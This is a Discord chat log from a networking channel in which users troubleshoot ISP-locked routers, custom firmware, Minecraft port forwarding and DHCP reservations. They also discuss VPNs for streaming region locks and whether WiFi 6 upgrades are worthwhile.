green forge Apr 24, 2021, 3:57 AM

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ok

tender hazel Apr 24, 2021, 3:57 AM

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@green forge how are you getting online right now?

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obviously you have some kind of working router

green forge Apr 24, 2021, 3:57 AM

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tender hazel <@!362089571254665218> how are you getting online right now?

uhhhhhh

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well this is how do i explain

plain siren Apr 24, 2021, 3:58 AM

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LOL

green forge Apr 24, 2021, 3:58 AM

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i need this router to control all the incoming traffic for my switch

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which is in a house

plain siren Apr 24, 2021, 3:58 AM

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...

green forge Apr 24, 2021, 3:58 AM

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and all the other routers are 100mgbs

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which is bad

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so this is the only 1gb one

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exept the apple one, no thank you

plain siren Apr 24, 2021, 3:58 AM

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But why

tender hazel Apr 24, 2021, 3:59 AM

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100 mega gits ber second is bad, yeah

green forge Apr 24, 2021, 3:59 AM

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i need 1gb in each room of this house

green forge Apr 24, 2021, 3:59 AM

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plain siren type login

What do I do after that

tender hazel Apr 24, 2021, 4:01 AM

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contemplate the meaning of life and your place in the universe

green forge Apr 24, 2021, 4:02 AM

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@tender hazel No.

tender hazel Apr 24, 2021, 4:02 AM

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no? that's not a good thing to do after typing login? 😉

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honestly there is probably some kind of update command on that device

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to update the firmware from an uploaded file

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if you can figure out where that is and run that against a firmware uploaded to the /tmp folder

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maybe that will work

plain siren Apr 24, 2021, 4:12 AM

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user pass of PON was itms itms omfg

green forge Apr 24, 2021, 4:19 AM

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what?

green forge Apr 24, 2021, 4:34 AM

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imma be back -AFK

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back

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@plain siren but what .bin file should i use?

plain siren Apr 24, 2021, 4:54 AM

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the DD-WRT or whatever you are trying to install

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You know your router has a whole wiki page with inst

green forge Apr 24, 2021, 5:00 AM

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.bin is only used if your upgrading your dd wrt

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just why wont the nvram command work?@plain siren

plain siren Apr 24, 2021, 5:05 AM

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green forge Apr 24, 2021, 5:05 AM

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ohh

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open wrt

plain siren Apr 24, 2021, 5:05 AM

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prob the OEM Firmware designed to block it

green forge Apr 24, 2021, 5:09 AM

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@plain siren the thing didnt work, 404 not found

plain siren Apr 24, 2021, 5:12 AM

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You telling me your UI doesnt have an "Upload Firmware" option even on this ISP shit

green forge Apr 24, 2021, 5:15 AM

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well it does but its not like

thick minnow Apr 24, 2021, 5:16 AM

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Well, there are OEMs like TP-link that block firmware files that aren't signed by them

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That's from my experience trying to flash open-wrt on my aging tp-link router that has no purpose other than to collect dust

green forge Apr 24, 2021, 5:20 AM

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thick minnow Well, there are OEMs like TP-link that block firmware files that aren't signed b...

this is a isp locked router

thick minnow Apr 24, 2021, 5:21 AM

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Wait, ISPs can lock routers?

green forge Apr 24, 2021, 5:22 AM

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yes

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chess birdo

thick minnow Apr 24, 2021, 5:23 AM

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I did not know that

green forge Apr 24, 2021, 5:23 AM

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isps lock down routers from updating to standard firmware

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which is why

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im trying to trick the router into beleiving its a retail one

thick minnow Apr 24, 2021, 5:24 AM

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WEll, good luck, hope you are successful

green forge Apr 24, 2021, 5:26 AM

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do you know a thing or two about this?

thick minnow Apr 24, 2021, 5:43 AM

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nope

silent flax Apr 24, 2021, 12:43 PM

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i hate my ISPs router

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to be able to push my own DNS server over DHCP i will have to use another router between my network and their router because this is all they provide.

Of course i could put DNS records for my internal network names in my public DNS too, but that is not a good idea.

peak cloak Apr 24, 2021, 1:08 PM

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silent flax to be able to push my own DNS server over DHCP i will have to use another router...

no bridge mode on their modem/router combo?

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optimum here with their fiber is the worst because it's a fiber ONT and a router, plus it's passthorugh mode doesn't work and it's GPON fiber so you can't really use your own ONT. verizon fios has a dedicated ONT on the other hand which just plugs into either your router or their router

silent flax Apr 24, 2021, 1:12 PM

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peak cloak no bridge mode on their modem/router combo?

we are in IPv6 era, so no. They do their own IPv6 DS-Lite for IPv4, plus they only give out /64 IPv6, so there is no way to put own IPv6 router inbetween, and DHCPv4 has no DNS option as you can see above.
The only way to 'break' it is to add own your own router inbetween, which is not that big of an issue, Double NAT doesn't break much when you are behind an ISP grade IPv6 DS-Lite NAT anyway

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yes, i could change ISP, but that would mean losing the tv service i kinda like

silent flax Apr 24, 2021, 1:29 PM

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probably the mirror your client uses is not capable or not willing to give out data faster

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once you go in speed of hundreds of megabits, it is not just about your download speed, but also about the other side's upload speed

thick minnow Apr 24, 2021, 1:30 PM

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Your internet speed doesn't only depend on your network but also the servers from which you pull data

peak cloak Apr 24, 2021, 1:51 PM

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silent flax we are in IPv6 era, so no. They do their own IPv6 DS-Lite for IPv4, plus they on...

Ah, only a /64 though? I thought /56 was the standard

silent flax Apr 24, 2021, 1:51 PM

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well, their router gets /56. but gives out only a single /64

peak cloak Apr 24, 2021, 1:51 PM

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Ah

silent flax Apr 24, 2021, 1:52 PM

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and their router is impossible to replace

peak cloak Apr 24, 2021, 1:52 PM

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Why?

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Modem/router

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Or fiber?

silent flax Apr 24, 2021, 1:52 PM

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because they do not allow other routers or modems on their cable network

peak cloak Apr 24, 2021, 1:52 PM

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That sucks

silent flax Apr 24, 2021, 1:52 PM

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as i said, i could change ISP, but the issue is pricing 😄

peak cloak Apr 24, 2021, 1:53 PM

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If it was configurable enough there is a way to make dchpv6 to give out the whole /56

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If it was something like a mikrotik

peak cloak Apr 24, 2021, 1:53 PM

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silent flax as i said, i could change ISP, but the issue is pricing 😄

As always

silent flax Apr 24, 2021, 1:55 PM

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let me explain:

right now i get 500/30 internet with ~120 TV channel for 39 euros.
alternatively i could go to a FFTH ISP, 600/60 package upgraded to 1000/300 would cost 36 euros alone. Or 44.03 euros with static IPv4. Unsure about being able to use own routers/modems tho

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at 600/60 it would be 21 euros, 600/100 would be 26 euros, 600/300 would be 31 euros. Or 8.03e more for static IPv4.

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and then i would have to pay 9.99 euros for the tv channels i get now, for TV over internet option

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the really sad part is that i would be fine with all the limitations, only if i could push my own DNS records to the router and/or set my own internal DNS server

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which in the end means i need to add another router inbetween, to break IPv6 assignments and do another NAT

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(where i can then do my own DHCP & DNS assignments)

proven epoch Apr 24, 2021, 2:11 PM

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Alright so I was redirected to here from #tech-support so hopefully someone can help me. I am trying to play some Minecraft with my brother on a LAN server hosted on his computer. We are on the same network, I entered the IPV4 Address + Port Number correctly and got this error "Io.netty.channel.AbstractChannel$AnnotatedConnectException: Connection time out: no further information" I tried turning off the firewall on both computers and still nothing. We dont use any anti-virus besides basic windows security, so got any suggestions on what might be wrong?

waxen saddle Apr 24, 2021, 2:14 PM

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Are you running the same Minecraft version? Are you both on the same edition? (Bedrock/Java)

proven epoch Apr 24, 2021, 2:14 PM

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Yeah, both on 1.16.5

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Java

waxen saddle Apr 24, 2021, 2:15 PM

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Can he join you if you host?

proven epoch Apr 24, 2021, 2:16 PM

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Maybe, I will try that and get back to you

silent flax Apr 24, 2021, 2:20 PM

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it is also possible one has to start the game first for the server to be set up, and only after that you can join

proven epoch Apr 24, 2021, 2:29 PM

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Nope failed, cant launch the world

waxen saddle Apr 24, 2021, 2:31 PM

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And you are both in the same physical area/physical LAN?

proven epoch Apr 24, 2021, 2:39 PM

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We are both on the same Wifi Network so yes

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@waxen saddle

waxen saddle Apr 24, 2021, 2:43 PM

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Can you ping your brothers' computer?

silent flax Apr 24, 2021, 2:44 PM

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did you follow the steps as guide says ? https://help.minecraft.net/hc/en-us/articles/360035131391-How-do-I-play-multiplayer-

You then launch the game and click "Single Player" and create a new world or open an existing one. Once inside that world, press the Esc key, then click the "Open to LAN" button.

Home

How do I play multiplayer?

When playing Minecraft, you can play a single player or multiplayer game. If you'd like to play with other people, there are four options:

LAN (local area network)
Online server
Minecraft Realms
S...

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then set options, then

Once you have set these options, click Start LAN World, and you'll see a message that a local game has been hosted. Other players on the same network who wish to join can now start their game, select Multiplayer, and in a few moments, their computer should automatically detect the game.

proven epoch Apr 24, 2021, 2:50 PM

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waxen saddle Can you ping your brothers' computer?

I think so

waxen saddle Apr 24, 2021, 2:51 PM

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Yup. I was wondering if your AP was in Isolation mode, which would block your computers from seeing each other on the network.

peak cloak Apr 24, 2021, 2:58 PM

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proven epoch I think so

They are all private ips if it starts with 192.168

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So no need to block it out fyi

pseudo blade Apr 24, 2021, 3:58 PM

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proven epoch I think so

Here's one to try: Test-NetConnection <Server host IP> -Port <Minecraft Port Number>

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Run from guest computer.

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Run it in Powershell, like your ping. It's a bit smarter and will tell you if the actual port's open.

proven epoch Apr 24, 2021, 4:02 PM

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Think we might have found a culprit

pseudo blade Apr 24, 2021, 4:03 PM

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Ok. So the port seems inactive on the remote side. two things are likely: 1. Your port number does not match. Try using <Server IP>:<Server port> on the host PC to join as you would from the guest and see what happens. Or 2. Your firewall is still active.

thick minnow Apr 24, 2021, 4:03 PM

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pseudo blade Here's one to try: `Test-NetConnection <Server host IP> -Port <Minecraft Port Nu...

We need someone to pin this for windows users

proven epoch Apr 24, 2021, 4:09 PM

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back from performing test on brothers computer, same result

pseudo blade Apr 24, 2021, 4:09 PM

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thick minnow We need someone to pin this for windows users

I must have used it dozens of times while troubleshooting a particularly weird IPsec problem a few months ago. Remote end vendor refused to give me their actual config and there was weird stuff going on that didn't quite line up with the documentation they provided.

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Sophos UTMs suck, do not use them for IPsec termination. They are old.

pseudo blade Apr 24, 2021, 4:11 PM

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proven epoch back from performing test on brothers computer, same result

If it's happening on your brother's PC too there's something up with the server.

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How are you hosting it, by the way?

proven epoch Apr 24, 2021, 4:12 PM

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LAN server

pseudo blade Apr 24, 2021, 4:12 PM

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Standalone server or using the integrated feature in-client?

proven epoch Apr 24, 2021, 4:12 PM

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Basically opening a regular world, pressing esc and then Open To Lan

pseudo blade Apr 24, 2021, 4:12 PM

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Yep.

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So you tried test-netconnection over there while it was running and couldn't connect?

proven epoch Apr 24, 2021, 4:13 PM

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Yup

pseudo blade Apr 24, 2021, 4:14 PM

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Try Test-NetConnection 127.0.0.1 -Port 63927 on your brother's PC.

proven epoch Apr 24, 2021, 4:15 PM

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I already did that earlier

pseudo blade Apr 24, 2021, 4:15 PM

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Specifically 127.0.0.1

proven epoch Apr 24, 2021, 4:15 PM

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Okay then

pseudo blade Apr 24, 2021, 4:19 PM

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Ok.

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That's a different port.

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Your earlier test was for port 63927

proven epoch Apr 24, 2021, 4:20 PM

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yeah, accidenaly shut down minecraft server but still same results

pseudo blade Apr 24, 2021, 4:21 PM

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If you use ipconfig on your brother's computer, can you see an ethernet or wifi adaptor with an address that looks like 192.168.X.X or 10.X.X.X?

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If so, can you confirm this was the IP address you were trying to connect to from your computer?

fringe cliff Apr 24, 2021, 4:34 PM

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Hi can somebody help me out here I am hosting a modded MC server on my pc like 2 months ago everything was fine I have done it before couple times everytime worked fine. But now with port forwarding it doesn't work I googled it I did steps like via windows defender etc trying to port forward again noting works I checked it says that the port is closed or can't find it I can join the server via localhost myself but my friends can't find the server I gave them the right IP like I always did before this problem

pseudo blade Apr 24, 2021, 4:35 PM

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@proven epoch Did you try joining 192.168.1.96:63999 from your PC?

pseudo blade Apr 24, 2021, 4:36 PM

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fringe cliff Hi can somebody help me out here I am hosting a modded MC server on my pc like 2...

I'm not sure this is the right place for your question. Consider #tech-support?

proven epoch Apr 24, 2021, 4:36 PM

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yeah, but port number changed again, but still no results

pseudo blade Apr 24, 2021, 4:36 PM

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Why do you keep restarting the server?

tame carbon Apr 24, 2021, 4:36 PM

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@fringe cliff you made sure that your local machine has a static dhcp lease?

proven epoch Apr 24, 2021, 4:36 PM

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brother keeps shutting down minecraft accifdentaly

pseudo blade Apr 24, 2021, 4:37 PM

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Just use a dedicated copy of Minecraft Server and call it a day. You can't test connectivity if the server keeps shutting down.

fringe cliff Apr 24, 2021, 4:38 PM

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tame carbon <@!248528030174019595> you made sure that your local machine has a static dhcp l...

Sorry idk much about this but like 2 months I hosted a server on MC as well and it worked perfect in that time I changed noting in my router settings or anything so idk how to make a static dhcp lease or something

proven epoch Apr 24, 2021, 4:38 PM

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yeah screw lan at this point I am just gonna setup a dedicated server on my computer. Well thanks for the help anyway Meagus

tame carbon Apr 24, 2021, 4:39 PM

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@fringe cliff does the address to which it port forwards, still correspond to the machine you are hosting it on ?

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sometimes, the address your computer obtains from your router changes.

lean pebble Apr 24, 2021, 4:40 PM

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proven epoch yeah screw lan at this point I am just gonna setup a dedicated server on my comp...

What is the issue?

fringe cliff Apr 24, 2021, 4:40 PM

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I looked in CMD and did ipconfig all and I used that ipv4 address I checked youtube videos and you need that adress to port forward but it has changed yes that address last time I did it the last numbers went from 16 to 11

proven epoch Apr 24, 2021, 4:40 PM

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No worries, I am just gonna use something different.

thick minnow Apr 24, 2021, 4:41 PM

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lean pebble What is the issue?

You could scroll up, just a suggestion

tame carbon Apr 24, 2021, 4:41 PM

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@fringe cliff yeah, so regular home networks are a /24, meaning that only the last digit in the address changes.

proven epoch Apr 24, 2021, 4:41 PM

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well yall have a good day

tame carbon Apr 24, 2021, 4:41 PM

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so you have 192.168.1.0 up to 192.168.1.255

lean pebble Apr 24, 2021, 4:41 PM

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thick minnow You could scroll up, just a suggestion

Ya I couldn't understand what is this port

tame carbon Apr 24, 2021, 4:41 PM

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If the address changes, then your port forward will no longer work

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@fringe cliff most routers allow you to configure the DHCP server, to reserve an address for a specific computer

fringe cliff Apr 24, 2021, 4:42 PM

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That's why I did the port forward with the new ipv4 adress I also tried the old one and didn't worked

fringe cliff Apr 24, 2021, 4:42 PM

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tame carbon <@!248528030174019595> most routers allow you to configure the DHCP server, to r...

You mean make a DHCP binding? I can make that with MAC adress and IP adress

tame carbon Apr 24, 2021, 4:42 PM

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Correct.

fringe cliff Apr 24, 2021, 4:43 PM

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tame carbon Correct.

So I need to make a DHCP binding with my computers MAC adress and what IP adress?

pseudo blade Apr 24, 2021, 4:43 PM

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fringe cliff That's why I did the port forward with the new ipv4 adress I also tried the old ...

Did you remove the old port forward, or just make a second one?

fringe cliff Apr 24, 2021, 4:43 PM

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pseudo blade Did you remove the old port forward, or just make a second one?

Removed it only tried it with 1 everytime

tame carbon Apr 24, 2021, 4:43 PM

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@fringe cliff yup. that makes sure that the DHCP Server always hands out the same IP address to that computer with that specific MAC

fringe cliff Apr 24, 2021, 4:43 PM

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tame carbon <@!248528030174019595> yup. that makes sure that the DHCP Server always hands ou...

Which IP adress do I need to fill in if I am making the DHCP binding?

tame carbon Apr 24, 2021, 4:44 PM

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You could use the address it has right now

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if you then configure your port forward, it shouldnt break again

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unless ofcourse, your public IP changes

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that's a different can of worms

fringe cliff Apr 24, 2021, 4:45 PM

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So now I need to make a DHCP binding with my computers mac address where I host the server on and use my public IP adress in the dhcp binding idk if I am getting what you mean sorry

tame carbon Apr 24, 2021, 4:46 PM

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No, your public IP has nothing to do with the LAN stuff

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your port forwarding forwards traffic destined for your public IP, to go to some IP on your local network.

fringe cliff Apr 24, 2021, 4:46 PM

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Okay so I need to make this but what do I need to fill in here?

tame carbon Apr 24, 2021, 4:47 PM

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yeah, so mac address are those 6 bytes

fringe cliff Apr 24, 2021, 4:47 PM

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I need the mac address where I am hosting the server on right?

tame carbon Apr 24, 2021, 4:47 PM

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Yeah, that corresponds to the physical address of the network interface of your computer

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its reported by ipconfig as well

fringe cliff Apr 24, 2021, 4:48 PM

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And what do I need to fill in in IP adress than?

tame carbon Apr 24, 2021, 4:48 PM

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you could just use the address that your machine uses right now

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doesn't matter, as long as it is in your LAN range

fringe cliff Apr 24, 2021, 4:48 PM

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So by CMD Ipconfig the IPV4address?

tame carbon Apr 24, 2021, 4:49 PM

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yeah

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usually its something like 192.168.1.X

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DHCP servers usually hand out a random address that is not in use

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but if you use port forwarding, its useful to have these leases static.

fringe cliff Apr 24, 2021, 4:49 PM

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Okay I have made an DHCP binding now

tame carbon Apr 24, 2021, 4:50 PM

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Okay, go back to your port forward

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update the local address

fringe cliff Apr 24, 2021, 4:50 PM

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tame carbon update the local address

??

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Should I remove my old port forward and do it again or?

tame carbon Apr 24, 2021, 4:51 PM

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@fringe cliff your port forward, forwards traffic of a specific port & protocol, to a local IP address.

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Just modify it

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and change the IP address, to the one you just configured in your dhcp server.

fringe cliff Apr 24, 2021, 4:52 PM

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The ipv4 adress from my pc I also used to make that dhcp server

tame carbon Apr 24, 2021, 4:52 PM

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Yep

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DHCP binding makes sure that your PC always gets the same address

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and then we can use this address to port forward to

fringe cliff Apr 24, 2021, 4:53 PM

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Okay I did the port forward with the same ip adress as the dhcp binding

tame carbon Apr 24, 2021, 4:54 PM

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Thats' it.

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done.

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Should work now :P

fringe cliff Apr 24, 2021, 4:54 PM

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So now restart my server and it should work

tame carbon Apr 24, 2021, 4:54 PM

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probably dont even have to restart it

fringe cliff Apr 24, 2021, 4:54 PM

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It still didn't work I am restarting it now tho

tame carbon Apr 24, 2021, 4:55 PM

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minecraft right?

fringe cliff Apr 24, 2021, 4:55 PM

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Yes

tame carbon Apr 24, 2021, 4:55 PM

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@fringe cliff did you modify your server.properties at all?

fringe cliff Apr 24, 2021, 4:55 PM

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No serverip is empty port number is always the same 25565

tame carbon Apr 24, 2021, 4:56 PM

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Okay. yeah if the IP is empty, it means the server will listen on all available interfaces.

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That's good

fringe cliff Apr 24, 2021, 4:57 PM

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Nope still doesn't work

tame carbon Apr 24, 2021, 4:57 PM

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@fringe cliff and you are certain it worked before?

fringe cliff Apr 24, 2021, 4:57 PM

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I gave my friend my public ip and I gave him the public ip with behind it :25565

tame carbon Apr 24, 2021, 4:57 PM

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you don't have to put the port behind it if it is the default one

fringe cliff Apr 24, 2021, 4:58 PM

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Yes like 2 months ago I hosted as well my MC server to play on with him and it worked fine

tame carbon Apr 24, 2021, 4:58 PM

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@fringe cliff might want to check if your computer's firewall isn't doing anything funny

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Can you reach the server using another computer on your LAN, by entering the IP of your computer directly (instead of your public IP) ?

fringe cliff Apr 24, 2021, 4:58 PM

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I checked a video where it showed me to change certain settings and I did that also didn;t worked

lean pebble Apr 24, 2021, 4:59 PM

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Usually windows firewall fucking things up

tame carbon Apr 24, 2021, 4:59 PM

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@lean pebble I had a stupid DNS issue with my VPN tunnel yesterday, ubuntu dns resolver garbage with Systemd

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thankfully the guys were able to figure it out

fringe cliff Apr 24, 2021, 4:59 PM

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tame carbon Can you reach the server using another computer on your LAN, by entering the IP ...

Ye if I use the ipv4address it works for me same with localhost but not for my friend

lean pebble Apr 24, 2021, 5:00 PM

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tame carbon <@!109801863771074560> I had a stupid DNS issue with my VPN tunnel yesterday, ub...

I had the same issue to

tame carbon Apr 24, 2021, 5:00 PM

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stupid systemd-resolv

lean pebble Apr 24, 2021, 5:00 PM

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Yeah I had it on fedora

fringe cliff Apr 24, 2021, 5:00 PM

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If it is windows firewall what should I change on my computer to fix it?

tame carbon Apr 24, 2021, 5:00 PM

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@fringe cliff Im afraid I don't know :/

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I'm not a windows user

lean pebble Apr 24, 2021, 5:00 PM

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You just need to open the port there to

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Try disable it at first

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I wish Microsoft will move to iptables / firewalld, instead this crappy windows firewall

fringe cliff Apr 24, 2021, 5:02 PM

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Via a youtube video it said I had to do this but that also did not work

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Enable them in private and public the Java SE binary's

tame carbon Apr 24, 2021, 5:02 PM

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@lean pebble entire IP stack that windows has is garbage.

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Its slow, very limited on regular versions of windows

lean pebble Apr 24, 2021, 5:03 PM

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tame carbon <@!109801863771074560> entire IP stack that windows has is garbage.

Agreed

thick minnow Apr 24, 2021, 5:03 PM

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You should probably just use Linux for any kind of server

fringe cliff Apr 24, 2021, 5:03 PM

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I also did it manually with adding the port 25565 in inbound and outbound both TCP etc

thick minnow Apr 24, 2021, 5:03 PM

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That's my advice

fringe cliff Apr 24, 2021, 5:03 PM

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thick minnow You should probably just use Linux for any kind of server

I like Linux as well but I also wanna play the game my self you know I don't have a server hosting pc yet

lean pebble Apr 24, 2021, 5:03 PM

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fringe cliff I also did it manually with adding the port 25565 in inbound and outbound both T...

Please disable windows firewall completely for testing

thick minnow Apr 24, 2021, 5:03 PM

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fringe cliff I like Linux as well but I also wanna play the game my self you know I don't hav...

Ah

fringe cliff Apr 24, 2021, 5:04 PM

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All 3 Doamain network private network and public network?

lean pebble Apr 24, 2021, 5:04 PM

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BTW you can play Minecraft and host a minecraft server on the same Linux machine

fringe cliff Apr 24, 2021, 5:04 PM

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lean pebble BTW you can play Minecraft and host a minecraft server on the same Linux machine

True but I also have other games I play etc and windows is easier to use for that

lean pebble Apr 24, 2021, 5:04 PM

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Using ubuntu / fedora / mint etc

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That's why I run Linux as main os and windows in kvm virtualization with gpu passthrough

fringe cliff Apr 24, 2021, 5:05 PM

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lean pebble Please disable windows firewall completely for testing

But should I turn off All 3 Domain network private network and public network?

lean pebble Apr 24, 2021, 5:06 PM

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Nope

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Just enable javaw for private and public

fringe cliff Apr 24, 2021, 5:06 PM

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I already did that but doesn't work

lean pebble Apr 24, 2021, 5:06 PM

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Did you try to disable the firewall?

fringe cliff Apr 24, 2021, 5:06 PM

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lean pebble Did you try to disable the firewall?

How and which one?

lean pebble Apr 24, 2021, 5:07 PM

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Windows firewall

tame carbon Apr 24, 2021, 5:07 PM

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all of it

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disable it

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there's a big red button probably

lean pebble Apr 24, 2021, 5:07 PM

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https://support.microsoft.com/en-us/windows/turn-microsoft-defender-firewall-on-or-off-ec0844f7-aebd-0583-67fe-601ecf5d774f

Turn Microsoft Defender Firewall on or off

Get the steps for turning Windows Defender Firewall on or off.

fringe cliff Apr 24, 2021, 5:07 PM

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This?

lean pebble Apr 24, 2021, 5:07 PM

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Yeah

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Left turn windows defender on or off

fringe cliff Apr 24, 2021, 5:08 PM

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Okay did that

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Still can't find the server tho

lean pebble Apr 24, 2021, 5:09 PM

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Can you send the server output ?

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And the server log and server.propeties

fringe cliff Apr 24, 2021, 5:10 PM

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📎 server.properties

lean pebble Apr 24, 2021, 5:11 PM

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Ok

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Can you take a screenshot on your server cmd prompt

fringe cliff Apr 24, 2021, 5:12 PM

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It's a lot in there tho

lean pebble Apr 24, 2021, 5:12 PM

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Only the ending

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And the beginning

fringe cliff Apr 24, 2021, 5:12 PM

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I can't see the beginning anymore tho

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I mean the server works fine I can join and play if I use as IP localhost

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Ooh ye and turning the firewall off also does not work

lean pebble Apr 24, 2021, 5:15 PM

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You have a lot of issues

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Restart the server

fringe cliff Apr 24, 2021, 5:17 PM

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I mean I did not change really anything it's a fresh server only changed the amount of ram the server can use

fringe cliff Apr 24, 2021, 5:43 PM

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Well I tried hosting a vanilla MC server real quick also does not work so it's not the server that is the problem it's something to do with the port not opening I guess

tender hazel Apr 24, 2021, 6:04 PM

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Double check your port forward config in the router

fallen crypt Apr 24, 2021, 6:31 PM

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hey, im trying to use a dns server that allows me to bypass region restrictions on netflix, disney+ etc.

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but it isnt working for me

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restarting, flushdns

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registering and releasing it

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i dont know much about it lol

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but yeah

plain siren Apr 24, 2021, 6:39 PM

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DNS Servers wont likely bypass region locks

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You need a VPN, or more correctly: A Proxy

thick minnow Apr 24, 2021, 6:42 PM

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Or can use tor

plain siren Apr 24, 2021, 6:50 PM

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That would be so god-awful slow

tender hazel Apr 24, 2021, 6:51 PM

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I used to use a DNS server that did, it worked for netflix anyway

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netflix did something to start blocking that about 4 or 5 years ago and I stopped renewing the service

plain siren Apr 24, 2021, 6:51 PM

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they all use the same content region filter service now.

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here. and TVEverywhere's GeoLoc (GeoIP + Language + Location Data from Device on top if Applicable)

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Back then, the load balanced DNS Resolution would just check to see which "Closest" DNS Server you resolved to and set your region to that

peak cloak Apr 24, 2021, 6:57 PM

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thick minnow Or can use tor

lots block tor

copper ginkgo Apr 24, 2021, 6:58 PM

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it's so hard to choose a VPN because it seems like nobody can come to a consensus on who the best provider is...

tame carbon Apr 24, 2021, 7:03 PM

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Using l2tp, netflix doesn't recognize VPN :P

peak cloak Apr 24, 2021, 7:05 PM

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tame carbon Using l2tp, netflix doesn't recognize VPN :P

protocol doesn't matter

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it's the endpoint

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and the routing

azure wolf Apr 24, 2021, 7:05 PM

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It is a cat and mouse game. VPN is not foolproof. Netflix can always use some client side code to detect if you are really in US. E.g. using javascript getTimezoneOffset(). If you are on GMT+8 like me, then you are sexposed.

twin warren Apr 24, 2021, 7:22 PM

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I'm a developer and I've launched a new app to help users manage their VPN on their routers. I'm shy AF... been thinking to ask someone from LMG to check it out for a few weeks... what do you guys think I should do ?

tender hazel Apr 24, 2021, 7:23 PM

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what do you mean help users manage their VPN on their routers - what kind of router?

twin warren Apr 24, 2021, 7:23 PM

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Wi-Fi routers running DD-WRT or OpenWRT

tender hazel Apr 24, 2021, 7:24 PM

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what does the app allow that you can't do with the regular UI?

twin warren Apr 24, 2021, 7:25 PM

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few things, server list, favorite servers list, connection history, analytics, logs, speed testing

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of course, managing clients and vpn bypass, vpn force etc

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it's been my quarantine activity to pass time, I'm working on other features as well

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I'm anxious about reaching out to anyone at LMG... 😦

tender hazel Apr 24, 2021, 7:29 PM

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does the linus group even use DDWRT or OpenWRT?

twin warren Apr 24, 2021, 7:29 PM

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good question hehe

peak cloak Apr 24, 2021, 7:29 PM

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I don't

tender hazel Apr 24, 2021, 7:29 PM

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I mean with a lot of their target users I would say they do not use either, and they probably do not use either themselves

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so it wouldn't make sense for them to review a VPN management app for devices that they don't use and that most of their viewers don't use

twin warren Apr 24, 2021, 7:32 PM

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hmm, 9 years ago, but still: https://www.youtube.com/watch?v=PsaHCRkMKnk

YouTube

NCIX Tech Tips

DD-WRT Custom Aftermarket Router Firmware Upgrade Guide & Benefits ...

CA: http://ncix.com/search/?categoryid=0&q=router
US: http://us.ncix.com/search/?categoryid=0&q=router

DD-WRT is a great way to get the best performance and features out of your router. Learn how to tell if your router is compatible, how to upgrade, and hear Linus explain some of the cool functionality you can unlock!

▶ Play video

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:))

tender hazel Apr 24, 2021, 7:32 PM

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yeah that's from a long time ago

twin warren Apr 24, 2021, 7:34 PM

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hmm, okay, guess I'd asked before getting even more anxious about this

tender hazel Apr 24, 2021, 7:34 PM

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stock firmware with a bunch of routers has gotten to be more and more capable, and whenever you flash with openwrt or ddwrt or whatever there is the risk of bricking the device

twin warren Apr 24, 2021, 7:35 PM

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still VPN support sucks on stock

tender hazel Apr 24, 2021, 7:36 PM

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very few people are going to risk bricking their device just to get a handful of new features that they don't even use

twin warren Apr 24, 2021, 7:36 PM

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I actually made this out of frustration.... wanted to get VPN on devices without native support and the fiddling with all the damn settings and profile is a pain

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I've been using these firmware for years, maybe I was just lucky but never bricked a router 😛

tender hazel Apr 24, 2021, 7:38 PM

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and it is mostly power users who would be super comfortable with that who would be the market for that

peak cloak Apr 24, 2021, 7:38 PM

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I just prefer to get an actual device that has actual features

tender hazel Apr 24, 2021, 7:38 PM

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yeah

peak cloak Apr 24, 2021, 7:38 PM

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instead of flashing some custom firmware which idk 100% if it will work

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right now I have this

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https://www.ui.com/edgemax/edgerouter-x/

Ubiquiti - EdgeRouter™ X

The EdgeRouter™X delivers cost-effective routing performance in an ultra‑compact form factor.

tender hazel Apr 24, 2021, 7:40 PM

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yeah linus uses lots of ubiquiti stuff like edgerouter/unifi models, plus pfsense

twin warren Apr 24, 2021, 7:40 PM

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and raspberry pi for ad blocking 🙂

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I run this https://www.netgear.com/home/wifi/routers/r7800/ with DD-WRT

NETGEAR

Nighthawk R7800 - AC2600 Dual-Band WiFi Router | NETGEAR

Discover the Nighthawk® R7800, Dual-Band AC2600 WiFi Router with a powerful 1.7GHz dual-core processor and provides speeds of up to 2.53Gbps. MU-MIMO and Quad Stream technology. Buy now.

peak cloak Apr 24, 2021, 7:41 PM

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tender hazel yeah linus uses lots of ubiquiti stuff like edgerouter/unifi models, plus pfsens...

Moving to an hex-s soon

twin warren Apr 24, 2021, 7:41 PM

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btw, is WiFi 6 worth it today ? should I wait for an upgrade ? I know there's little support for it

peak cloak Apr 24, 2021, 7:42 PM

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depends

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I have almost that can be wired, wired

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so really wifi is only for a few devices

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and I don't live in a congested environment like an apartment

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with a congested environment wifi 6 can be worth it

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wifi 6 mainly improves on sceduling

azure wolf Apr 24, 2021, 7:43 PM

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Wifi is always shit compared to wired

peak cloak Apr 24, 2021, 7:43 PM

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of course

rocky badge Apr 24, 2021, 7:44 PM

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I’m debating WiFi 6 upgrade

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We have so many more WiFi 6 clients now

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It used to be just 2 phones, now it’s all of our phones, a tablet, and my laptop

twin warren Apr 24, 2021, 7:45 PM

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hmm dunno, running my Oculus Quest 2 would definetly benefit from a tether-less experience, especially with that v28 update coming

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so I guess that'd be wifi hungry to stream the 2k 120hz update ?

peak cloak Apr 24, 2021, 7:46 PM

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@twin warren also this is why I like to have everything seperate, no all in one router. I can pay for a good router and keep the router and then just upgrade the access point if I need to

rocky badge Apr 24, 2021, 7:46 PM

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And at the same time, there isn’t really a benefit for WiFi 6 for us right now

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We don’t have much interference near by and we don’t need that performance on WiFi

cursive valve Apr 24, 2021, 7:47 PM

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Always a benefit

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Those blazing fast speeds /s

tender hazel Apr 24, 2021, 7:49 PM

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reviews of the unifi wifi6 aps suggested there is only 10-20% performance improvement at the moment

rocky badge Apr 24, 2021, 7:50 PM

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I pull around 400Mbps on my AC Pro right now with my 12 Pro

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But this guy pulls like 800Mbps on the u6 lite with his 11 pro

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That would be nice but I don’t need it lol

peak cloak Apr 24, 2021, 7:51 PM

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I mean, at the same time, do you really need it

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oh

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yeah

rocky badge Apr 24, 2021, 7:51 PM

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I don’t do anything bandwidth intensive on my phone

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400Mbps is plenty already

twin warren Apr 24, 2021, 7:52 PM

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at least we get 1 Gbps here in Romania

rocky badge Apr 24, 2021, 7:52 PM

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Maybe if we had more clients or lived in a place with a shit ton of other aps, but we don’t

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That’s wired :P

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I do get gigabit on wired

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I don’t need it on WiFi

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Most of the nearby APs logged are just car hotspots so doesn’t really affect that much lol

azure wolf Apr 24, 2021, 7:54 PM

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I only get 300mbps on my s21 ultra on speedtest 😦

peak cloak Apr 24, 2021, 7:55 PM

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that's enough

copper ginkgo Apr 24, 2021, 7:58 PM

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well, what do y'all think of torguard?

peak cloak Apr 24, 2021, 8:00 PM

